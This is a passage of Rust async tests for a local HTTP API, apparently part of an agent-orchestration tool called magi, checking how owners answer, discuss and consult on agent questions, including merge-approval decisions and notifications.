11637        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11638        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11639    }
11640
11641    #[tokio::test]
11642    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11643        let fx = Fixture::start().await;
11644        let mut state = obsolete_approval_state();
11645        state.status = RunStatus::Landing;
11646        state.driver_exited = true;
11647        let mut q = Question::new(
11648            state.id.clone(),
11649            crate::land::APPROVAL_NODE.into(),
11650            "land".into(),
11651            "Obsolete approval".into(),
11652            String::new(),
11653            vec!["merge".into(), "hold".into()],
11654        );
11655        state.land_approval = Some(crate::run::LandApproval {
11656            question: q.id.clone(),
11657            head: "head".into(),
11658        });
11659        state.save_under(fx.home.path()).unwrap();
11660        fx.questions().put(&mut q).unwrap();
11661        let mut task = Task::new(
11662            "Owner".into(),
11663            "Original instruction".into(),
11664            state.repo.clone(),
11665            Source::Human,
11666        );
11667        task.runs.push(state.id.clone());
11668        task.status = TaskStatus::Parked;
11669        fx.queue().put(&mut task).unwrap();
11670        // Model a crash after the run stop was persisted but before the queue
11671        // and answered question were flushed. Retrying must finish, not resume.
11672        state.merge_decision = Some(crate::merge_decision::Decision {
11673            question: q.id.clone(),
11674            target: crate::merge_decision::Target {
11675                pr: state.pr.as_ref().unwrap().url.clone(),
11676                head: "head".into(),
11677                language: "ja".into(),
11678            },
11679            choice: crate::merge_decision::DISMISS.into(),
11680            closed: false,
11681            replacement_run: None,
11682            replacement_pr: None,
11683        });
11684        state.status = RunStatus::Superseded;
11685        state.save_under(fx.home.path()).unwrap();
11686        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11687        let path = format!("/api/questions/{}/answer", q.id);
11688        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11689        let done = fx.queue().get(&task.id).unwrap();
11690        assert_eq!(done.status, TaskStatus::Done);
11691        assert_eq!(done.runs, task.runs);
11692        assert_eq!(done.instruction, task.instruction);
11693        assert!(done.action_applied(&q.id));
11694        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11695        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11696        assert!(!fx.questions().get(&q.id).unwrap().status.open());
11697    }
11698
11699    #[tokio::test]
11700    async fn merge_decision_api_persists_exact_target_and_selected_action() {
11701        let fx = Fixture {
11702            home: TempDir::new().unwrap(),
11703            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11704        };
11705        for choice in [
11706            crate::land::HOLD,
11707            crate::land::REPAIR,
11708            crate::land::APPROVE,
11709            crate::merge_decision::WITHDRAW,
11710            "reimplement:beta",
11711        ] {
11712            let mut q = Question::new(
11713                "old-run".into(),
11714                crate::land::APPROVAL_NODE.into(),
11715                "land".into(),
11716                "Decision".into(),
11717                "Review findings".into(),
11718                vec![
11719                    "merge".into(),
11720                    "hold".into(),
11721                    crate::land::REPAIR.into(),
11722                    crate::merge_decision::WITHDRAW.into(),
11723                    "reimplement:beta".into(),
11724                ],
11725            );
11726            q.merge_target = Some(crate::merge_decision::Target {
11727                pr: "https://github.com/example/repo/pull/42".into(),
11728                head: "exact-reviewed-head".into(),
11729                language: "ja".into(),
11730            });
11731            q.consult = Some(ask::ChatConsult {
11732                talk: "another-conversation".into(),
11733                at: jiff::Timestamp::now(),
11734            });
11735            fx.questions().put(&mut q).unwrap();
11736            let ui = Arc::new(Ui::new(
11737                fx.queue(),
11738                fx.questions(),
11739                fx.talks(),
11740                fx.runs(),
11741                fx.home.path().into(),
11742                std::path::PathBuf::from("."),
11743            ));
11744            let response = question_answer(
11745                State(ui.clone()),
11746                Path(q.id.clone()),
11747                Ok(Json(NewAnswer {
11748                    choice: Some(choice.into()),
11749                    text: None,
11750                })),
11751            )
11752            .await
11753            .unwrap();
11754            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
11755            let disk = fx.questions().get(&q.id).unwrap();
11756            assert_eq!(disk.merge_target, q.merge_target);
11757            assert_eq!(disk.consult, q.consult);
11758            assert!(
11759                disk.answer_authority.is_none(),
11760                "a direct owner card is its own decision"
11761            );
11762            assert_eq!(disk.resolution().as_deref(), Some(choice));
11763            assert!(
11764                question_answer(
11765                    State(ui),
11766                    Path(q.id.clone()),
11767                    Ok(Json(NewAnswer {
11768                        choice: Some("merge".into()),
11769                        text: None
11770                    }))
11771                )
11772                .await
11773                .is_err(),
11774                "an already settled decision cannot turn into merge approval"
11775            );
11776        }
11777    }
11778
11779    #[tokio::test]
11780    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
11781        let fx = Fixture {
11782            home: TempDir::new().unwrap(),
11783            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11784        };
11785        let mut state = crate::land::tests::repair_state(true, true);
11786        state.status = RunStatus::Landing;
11787        state.parked = true;
11788        state.driver_exited = true;
11789        let mut task = Task::new(
11790            "Existing PR owner".into(),
11791            state.instruction.clone(),
11792            state.repo.clone(),
11793            Source::Human,
11794        );
11795        task.runs.push(state.id.clone());
11796        task.status = TaskStatus::Parked;
11797        fx.queue().put(&mut task).unwrap();
11798        let mut q = Question::new(
11799            state.id.clone(),
11800            crate::land::APPROVAL_NODE.into(),
11801            "land".into(),
11802            "Contested merge".into(),
11803            "Original evidence".into(),
11804            vec!["merge".into(), "hold".into()],
11805        );
11806        state.land_approval = Some(crate::run::LandApproval {
11807            question: q.id.clone(),
11808            head: "reviewed-head".into(),
11809        });
11810        state.save_under(fx.home.path()).unwrap();
11811        fx.questions().put(&mut q).unwrap();
11812        // A later repair answer on this old card supersedes this manual hold.
11813        task.hold_manual(Some("Pause this PR".into()));
11814        fx.queue().put(&mut task).unwrap();
11815        // POST directly, without a preceding GET: validation must see the
11816        // same durable upgrade that the card, CLI and chat see.
11817        let ui = Arc::new(Ui::new(
11818            fx.queue(),
11819            fx.questions(),
11820            fx.talks(),
11821            fx.runs(),
11822            fx.home.path().to_path_buf(),
11823            state.repo.clone(),
11824        ));
11825        let response = question_answer(
11826            State(ui),
11827            Path(q.id.clone()),
11828            Ok(Json(NewAnswer {
11829                choice: Some(crate::land::REPAIR.into()),
11830                text: None,
11831            })),
11832        )
11833        .await
11834        .unwrap();
11835        assert_eq!(response.0.question.id, q.id);
11836        let upgraded = fx.questions().get(&q.id).unwrap();
11837        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
11838        assert!(upgraded.detail.starts_with("Original evidence"));
11839        let claim = fx.queue().claim(&task.id).unwrap();
11840        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11841        assert!(
11842            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
11843            "an existing driver keeps its claim"
11844        );
11845        drop(claim);
11846        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11847        let resumed = fx.queue().get(&task.id).unwrap();
11848        assert_eq!(
11849            resumed
11850                .resume_override
11851                .as_ref()
11852                .unwrap()
11853                .pinned_run
11854                .as_deref(),
11855            Some(state.id.as_str())
11856        );
11857        assert!(resumed.status.runnable());
11858        assert_eq!(resumed.instruction, task.instruction);
11859        assert_eq!(resumed.runs, task.runs);
11860        assert!(resumed.action_applied(&q.id));
11861        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11862        assert_eq!(fx.queue().list().len(), 1);
11863        assert_eq!(
11864            fx.queue().get(&task.id).unwrap().resume_override,
11865            resumed.resume_override
11866        );
11867        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11868        assert!(
11869            disk.merge_repairs.is_empty(),
11870            "only the claimed run driver may execute repair"
11871        );
11872        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
11873    }
11874
11875    #[tokio::test]
11876    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
11877        let fx = Fixture::start().await;
11878        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11879        let path = format!("/api/questions/{id}/answer");
11880
11881        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
11882        assert_eq!(res.status, 200, "{}", res.body);
11883        let body = res.json();
11884        assert_eq!(body["status"], "answered");
11885        assert_eq!(body["answer"]["choice"], "Redis");
11886
11887        // Answered from the terminal in between the list and the tap: the UI
11888        // must be able to tell this from a bad request, so it can show the
11889        // recorded answer instead of an error.
11890        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
11891        assert_eq!(again.status, 409, "{}", again.body);
11892        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11893    }
11894
11895    #[tokio::test]
11896    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
11897        let home = tempfile::tempdir().unwrap();
11898        let ui = delta_test_ui(home.path());
11899        let mut q = Question::new(
11900            "task".into(),
11901            crate::land::APPROVAL_NODE.into(),
11902            "land".into(),
11903            "Explain?".into(),
11904            String::new(),
11905            vec!["hold".into()],
11906        );
11907        q.deputy = Some(ask::Deputy::new("context".into()));
11908        ui.questions.put(&mut q).unwrap();
11909        let mut cfg = stub_config();
11910        cfg.daemon.max_deputies = 0;
11911        let mut status = crate::daemon::Status::new();
11912        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11913        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
11914        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11915        let error = question_say(
11916            State(ui.clone()),
11917            Path(q.id.clone()),
11918            Ok(Json(NewSay {
11919                body: "Explain the findings".into(),
11920            })),
11921        )
11922        .await
11923        .unwrap_err();
11924        assert_eq!(
11925            error.text_reason,
11926            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
11927        );
11928        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11929
11930        let mut text = Question::new(
11931            "task".into(),
11932            "ask".into(),
11933            "operator".into(),
11934            "Which name?".into(),
11935            String::new(),
11936            vec![],
11937        );
11938        ui.questions.put(&mut text).unwrap();
11939        let Json(view) = question_answer(
11940            State(ui.clone()),
11941            Path(text.id.clone()),
11942            Ok(Json(NewAnswer {
11943                choice: None,
11944                text: Some("chosen name".into()),
11945            })),
11946        )
11947        .await
11948        .unwrap();
11949        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
11950        assert!(!ui.questions.get(&text.id).unwrap().status.open());
11951    }
11952
11953    #[tokio::test]
11954    async fn question_text_handler_admission_without_transport() {
11955        let home = tempfile::tempdir().unwrap();
11956        let ui = delta_test_ui(home.path());
11957        let mut q = Question::new(
11958            "task".into(),
11959            crate::land::APPROVAL_NODE.into(),
11960            "land".into(),
11961            "May this PR merge?".into(),
11962            String::new(),
11963            vec!["hold".into()],
11964        );
11965        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
11966        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11967        ui.questions.put(&mut q).unwrap();
11968        let say = || {
11969            Ok(Json(NewSay {
11970                body: "Explain the findings".into(),
11971            }))
11972        };
11973        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11974            .await
11975            .unwrap_err();
11976        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11977        let response = rejected.into_response();
11978        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
11979            .await
11980            .unwrap();
11981        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
11982        assert_eq!(body["code"], "question_text_unavailable");
11983        assert_eq!(body["reason"], "deputy_exhausted");
11984        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
11985        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
11986        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
11987        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
11988            .await
11989            .unwrap();
11990        assert_eq!(view.text_delivery.state, "live");
11991        assert!(view.question.waiter.is_none());
11992        assert!(view.question.cwd.is_none());
11993        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11994        ui.questions.drop_lease(&q.id);
11995        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11996            .await
11997            .unwrap_err();
11998        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11999        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12000        let _ = question_answer(
12001            State(ui.clone()),
12002            Path(q.id.clone()),
12003            Ok(Json(NewAnswer {
12004                choice: Some("hold".into()),
12005                text: None,
12006            })),
12007        )
12008        .await
12009        .unwrap();
12010        assert_eq!(
12011            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12012            Some("hold")
12013        );
12014    }
12015
12016    #[tokio::test]
12017    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12018        let fx = Fixture::start().await;
12019        let store = fx.questions();
12020        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12021        store
12022            .update(&id, |q| {
12023                q.node = crate::land::APPROVAL_NODE.to_owned();
12024                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12025                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12026                Ok(())
12027            })
12028            .unwrap();
12029        let path = format!("/api/questions/{id}/say");
12030        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12031        assert_eq!(refused.status, 422, "{}", refused.body);
12032        assert!(
12033            refused.json()["error"]
12034                .as_str()
12035                .unwrap()
12036                .contains("deputy_exhausted")
12037        );
12038        assert!(store.get(&id).unwrap().thread.is_empty());
12039
12040        // A final live deputy is usable even with no ordinary waiter/cwd.
12041        store.beat(&id, ask::WaiterKind::Deputy);
12042        let view = fx.get("/api/questions").await.json();
12043        assert_eq!(view[0]["text_delivery"]["state"], "live");
12044        let accepted = fx
12045            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12046            .await;
12047        assert_eq!(accepted.status, 200, "{}", accepted.body);
12048        let before = std::fs::read(store.path_of(&id)).unwrap();
12049
12050        // The recipient exits between rendering and sending. Rejection must
12051        // preserve previously accepted text, the answer and delivery cursor.
12052        store.drop_lease(&id);
12053        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12054        assert_eq!(refused.status, 422, "{}", refused.body);
12055        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12056        let held = fx
12057            .post(
12058                &format!("/api/questions/{id}/answer"),
12059                Some(r#"{"choice":"hold"}"#),
12060            )
12061            .await;
12062        assert_eq!(held.status, 200, "{}", held.body);
12063        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12064    }
12065
12066    #[tokio::test]
12067    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12068        let repo = tempfile::tempdir().unwrap();
12069        let mut cfg = stub_config();
12070        cfg.daemon.max_deputies = 0;
12071        std::fs::write(
12072            repo.path().join("magi.toml"),
12073            toml::to_string(&cfg).unwrap(),
12074        )
12075        .unwrap();
12076        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12077        let mut status = crate::daemon::Status::new();
12078        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12079        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12080        let id = ask(&fx, "Explain?", &["hold"]);
12081        fx.questions()
12082            .update(&id, |q| {
12083                q.node = crate::land::APPROVAL_NODE.into();
12084                q.deputy = Some(ask::Deputy::new("context".into()));
12085                q.deputy.as_mut().unwrap().agent = "stub".into();
12086                Ok(())
12087            })
12088            .unwrap();
12089        cfg.daemon.max_deputies = 1;
12090        std::fs::write(
12091            repo.path().join("magi.toml"),
12092            toml::to_string(&cfg).unwrap(),
12093        )
12094        .unwrap();
12095        let view = fx.get("/api/questions").await.json();
12096        assert_eq!(view[0]["deputies_enabled"], true);
12097        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12098        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12099        let res = fx
12100            .post(
12101                &format!("/api/questions/{id}/say"),
12102                Some(r#"{"body":"Please explain"}"#),
12103            )
12104            .await;
12105        assert_eq!(res.status, 422, "{}", res.body);
12106        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12107    }
12108
12109    #[tokio::test]
12110    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12111        let fx = Fixture::start().await;
12112        let id = ask(&fx, "No seat", &[]);
12113        let store = fx.questions();
12114        let before = std::fs::read(store.path_of(&id)).unwrap();
12115        let res = fx
12116            .post(
12117                &format!("/api/questions/{id}/say"),
12118                Some(r#"{"body":"hello"}"#),
12119            )
12120            .await;
12121        assert_eq!(res.status, 422, "{}", res.body);
12122        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12123        let res = fx
12124            .post(
12125                &format!("/api/questions/{id}/answer"),
12126                Some(r#"{"text":"hello"}"#),
12127            )
12128            .await;
12129        assert_eq!(res.status, 200, "{}", res.body);
12130        assert_eq!(
12131            store.get(&id).unwrap().resolution().as_deref(),
12132            Some("hello")
12133        );
12134    }
12135
12136    #[tokio::test]
12137    async fn saying_something_appends_a_turn_without_answering() {
12138        let fx = Fixture::start().await;
12139        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12140        fx.questions().beat(&id, ask::WaiterKind::Asker);
12141        let path = format!("/api/questions/{id}/say");
12142
12143        let res = fx
12144            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12145            .await;
12146        assert_eq!(res.status, 200, "{}", res.body);
12147        let body = res.json();
12148        assert_eq!(body["status"], "open", "talking back is not a decision");
12149        assert_eq!(body["answer"], Value::Null);
12150        assert_eq!(body["thread"][0]["who"], "operator");
12151        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12152        assert_eq!(body["waiting_on_agent"], true);
12153        // Still open, still counted, still exactly one question.
12154        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12155    }
12156
12157    #[tokio::test]
12158    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12159        let fx = Fixture::start().await;
12160        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12161
12162        let list = fx.get("/api/questions").await.json();
12163        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12164
12165        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12166        assert_eq!(res.status, 409, "{}", res.body);
12167        let q = fx.questions().get(&id).unwrap();
12168        assert!(q.status.open());
12169        assert!(q.consult.is_none());
12170    }
12171
12172    #[tokio::test]
12173    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12174        let fx = Fixture::start().await;
12175        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12176        let cfg = Config {
12177            agents: vec![crate::config::AgentSpec {
12178                id: "mock".to_owned(),
12179                kind: crate::config::AgentKind::Command,
12180                model: None,
12181                command: vec!["true".to_owned()],
12182                extra_args: Vec::new(),
12183                env: Default::default(),
12184                prompt_delivery: None,
12185            }],
12186            ..Config::default()
12187        };
12188        let talk = crate::talk::begin(
12189            &fx.talks(),
12190            &cfg,
12191            fx.home.path().to_path_buf(),
12192            Some("mock"),
12193        )
12194        .unwrap();
12195        let mut task = Task::new(
12196            "t".to_owned(),
12197            "Do it".to_owned(),
12198            PathBuf::from("/repo/magi"),
12199            Source::Agent {
12200                run: talk.id.clone(),
12201                node: crate::queue::CHAT_NODE.to_owned(),
12202            },
12203        );
12204        task.start("20260902-000000-beef".to_owned());
12205        fx.queue().put(&mut task).unwrap();
12206
12207        let list = fx.get("/api/questions").await.json();
12208        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12209        assert_eq!(
12210            list[0]["choices"],
12211            serde_json::json!(["SQLite", "Redis"]),
12212            "the hand-over is never a choice"
12213        );
12214        fx.questions()
12215            .update(&id, |q| {
12216                q.node = crate::land::APPROVAL_NODE.into();
12217                q.choices = vec!["merge".into(), "hold".into()];
12218                Ok(())
12219            })
12220            .unwrap();
12221        let list = fx.get("/api/questions").await.json();
12222        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12223        assert_eq!(list[0]["can_consult_chat"], true);
12224        fx.questions()
12225            .update(&id, |q| {
12226                q.node = crate::bump::NOTICE_NODE.into();
12227                Ok(())
12228            })
12229            .unwrap();
12230        let list = fx.get("/api/questions").await.json();
12231        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12232        assert_eq!(list[0]["can_consult_chat"], false);
12233    }
12234
12235    #[tokio::test]
12236    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12237        let fx = Fixture::start().await;
12238        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12239        fx.questions()
12240            .update(&id, |q| {
12241                q.node = crate::land::APPROVAL_NODE.into();
12242                q.choices = vec!["merge".into(), "hold".into()];
12243                Ok(())
12244            })
12245            .unwrap();
12246        let cfg = Config {
12247            agents: vec![crate::config::AgentSpec {
12248                id: "mock".to_owned(),
12249                kind: crate::config::AgentKind::Command,
12250                model: None,
12251                command: vec!["true".to_owned()],
12252                extra_args: Vec::new(),
12253                env: Default::default(),
12254                prompt_delivery: None,
12255            }],
12256            ..Config::default()
12257        };
12258        // Not a git working tree, so its `magi.toml` is read from disk.
12259        let repo = fx.home.path().join("chat-repo");
12260        std::fs::create_dir_all(&repo).unwrap();
12261        let toml = repo.join("magi.toml");
12262        std::fs::write(&toml, "this is = = not toml").unwrap();
12263        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12264        let mut task = Task::new(
12265            "t".to_owned(),
12266            "Do it".to_owned(),
12267            PathBuf::from("/repo/magi"),
12268            Source::Agent {
12269                run: talk.id.clone(),
12270                node: crate::queue::CHAT_NODE.to_owned(),
12271            },
12272        );
12273        task.start("20260902-000000-beef".to_owned());
12274        fx.queue().put(&mut task).unwrap();
12275
12276        let path = format!("/api/questions/{id}/consult");
12277        let res = fx.post(&path, None).await;
12278        assert!(res.status >= 400, "{}", res.body);
12279        assert!(fx.questions().get(&id).unwrap().consult.is_none());
12280        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12281
12282        std::fs::write(&toml, "").unwrap();
12283        let res = fx.post(&path, None).await;
12284        assert_eq!(res.status, 202, "{}", res.body);
12285        assert!(fx.questions().get(&id).unwrap().consult.is_some());
12286        let q = fx.questions().get(&id).unwrap();
12287        assert!(q.status.open());
12288        assert!(q.answer.is_none());
12289        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12290        assert_eq!(res.json()["can_consult_chat"], true);
12291        let list = fx.get("/api/questions").await.json();
12292        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12293        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12294
12295        let res = fx
12296            .post(
12297                &format!("/api/questions/{id}/answer"),
12298                Some(r#"{"choice":"hold"}"#),
12299            )
12300            .await;
12301        assert_eq!(res.status, 200, "{}", res.body);
12302        assert_eq!(res.json()["answer"]["choice"], "hold");
12303        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12304        assert_eq!(res.json()["can_consult_chat"], false);
12305        assert_eq!(fx.post(&path, None).await.status, 409);
12306
12307        let mut talk = fx.talks().get(&talk.id).unwrap();
12308        crate::talk::close(&mut talk, &fx.talks()).unwrap();
12309        let list = fx.get("/api/questions").await.json();
12310        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12311        assert_eq!(list[0]["origin_chat_closed"], true);
12312        assert_eq!(list[0]["can_consult_chat"], false);
12313
12314        fx.talks().remove(&talk.id).unwrap();
12315        let list = fx.get("/api/questions").await.json();
12316        assert_eq!(list[0]["origin_chat"], Value::Null);
12317        assert_eq!(list[0]["origin_chat_closed"], false);
12318        assert_eq!(list[0]["can_consult_chat"], false);
12319    }
12320
12321    #[tokio::test]
12322    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12323        let fx = Fixture::start().await;
12324        let store = fx.questions();
12325        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12326        store.beat(&id, ask::WaiterKind::Asker);
12327        assert_eq!(
12328            fx.get("/api/health").await.json()["questions_needs_owner"],
12329            1
12330        );
12331
12332        // The owner asks back instead of deciding: the ask bar, the nav badge
12333        // and the title must stop naming this question, because there is
12334        // nothing to decide until the agent answers - `status` alone cannot
12335        // say that, which is the whole reason `questions_needs_owner` exists
12336        // alongside `questions_open`.
12337        let res = fx
12338            .post(
12339                &format!("/api/questions/{id}/say"),
12340                Some(r#"{"body":"why not Postgres?"}"#),
12341            )
12342            .await;
12343        assert_eq!(res.status, 200, "{}", res.body);
12344        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12345        assert_eq!(
12346            fx.get("/api/health").await.json()["questions_needs_owner"],
12347            0,
12348            "waiting on the agent is not waiting on the owner"
12349        );
12350
12351        // `magi ask --thread` replying is what brings the owner count back -
12352        // the same event that would resume the CLI call blocked in `magi
12353        // ask`.
12354        let mut q = store.get(&id).expect("get");
12355        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12356            .expect("reply");
12357        store.put(&mut q).expect("put");
12358        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12359        assert_eq!(
12360            fx.get("/api/health").await.json()["questions_needs_owner"],
12361            1,
12362            "the agent's reply is what should light the banner back up"
12363        );
12364    }
12365
12366    #[tokio::test]
12367    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12368        let fx = Fixture::start().await;
12369        let store = fx.questions();
12370
12371        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12372        let res = fx
12373            .post(
12374                &format!("/api/questions/{empty_id}/say"),
12375                Some(r#"{"body":"   "}"#),
12376            )
12377            .await;
12378        assert_eq!(res.status, 400, "{}", res.body);
12379
12380        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12381        let mut answered = store.get(&answered_id).expect("get");
12382        answered
12383            .answer(Answer::Choice("SQLite".to_owned()))
12384            .expect("answer");
12385        store.put(&mut answered).expect("put");
12386        let res = fx
12387            .post(
12388                &format!("/api/questions/{answered_id}/say"),
12389                Some(r#"{"body":"still there?"}"#),
12390            )
12391            .await;
12392        assert_eq!(res.status, 409, "{}", res.body);
12393
12394        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12395        let mut abandoned = store.get(&abandoned_id).expect("get");
12396        abandoned.abandon("timed out");
12397        store.put(&mut abandoned).expect("put");
12398        let res = fx
12399            .post(
12400                &format!("/api/questions/{abandoned_id}/say"),
12401                Some(r#"{"body":"still there?"}"#),
12402            )
12403            .await;
12404        assert_eq!(res.status, 409, "{}", res.body);
12405    }
12406
12407    #[tokio::test]
12408    async fn an_answer_the_question_does_not_offer_is_refused() {
12409        let fx = Fixture::start().await;
12410        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12411        let path = format!("/api/questions/{id}/answer");
12412
12413        for body in [
12414            r#"{"choice":"Postgres"}"#,
12415            r#"{"text":"whatever you think"}"#,
12416            r#"{"choice":"Redis","text":"both"}"#,
12417            r#"{}"#,
12418        ] {
12419            let res = fx.post(&path, Some(body)).await;
12420            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12421            assert!(res.json()["error"].is_string(), "{}", res.body);
12422        }
12423        // Nothing above may have answered it.
12424        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12425    }
12426
12427    #[tokio::test]
12428    async fn a_free_text_question_takes_text_and_not_a_choice() {
12429        let fx = Fixture::start().await;
12430        let id = ask(&fx, "What should the flag be called?", &[]);
12431        fx.questions().beat(&id, ask::WaiterKind::Asker);
12432        let path = format!("/api/questions/{id}/answer");
12433
12434        assert_eq!(
12435            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12436            400
12437        );
12438        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12439        assert_eq!(res.status, 200, "{}", res.body);
12440        assert_eq!(res.json()["answer"]["text"], "--json");
12441    }
12442
12443    #[tokio::test]
12444    async fn an_unknown_question_is_a_json_404() {
12445        let fx = Fixture::start().await;
12446        let res = fx
12447            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12448            .await;
12449        assert_eq!(res.status, 404, "{}", res.body);
12450        assert!(res.json()["error"].is_string());
12451    }
12452
12453    #[tokio::test]
12454    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12455        let fx = Fixture::start().await;
12456        let questions = Questions::at(fx.home.path().join("questions"));
12457        let store = Notices::at(fx.home.path().join("notifications"));
12458        let mut q = ask::Question::new(
12459            "t1".into(),
12460            "conduct".into(),
12461            "conductor".into(),
12462            "Continue?".into(),
12463            String::new(),
12464            Vec::new(),
12465        );
12466        questions.put(&mut q).unwrap();
12467        let mut n = Notice::warn("task:t1", "Task t1 is held.");
12468        n.covered_by = Some(q.id.clone());
12469        let n = store.raise(n).unwrap();
12470        let listed = fx.get("/api/notifications").await.json();
12471        assert_eq!(listed["items"][0]["answerable_question"], q.id);
12472        questions
12473            .update(&q.id, |q| {
12474                q.abandon("run gone");
12475                Ok(())
12476            })
12477            .unwrap();
12478        let listed = fx.get("/api/notifications").await.json();
12479        assert!(listed["items"][0]["answerable_question"].is_null());
12480        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12481        assert!(
12482            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12483                .unwrap()
12484                .contains("answerable_question")
12485        );
12486    }
12487
12488    #[tokio::test]
12489    async fn notifications_list_read_dismiss_and_health_agree() {
12490        let fx = Fixture::start().await;
12491        let store = Notices::at(fx.home.path().join("notifications"));
12492        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12493        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12494
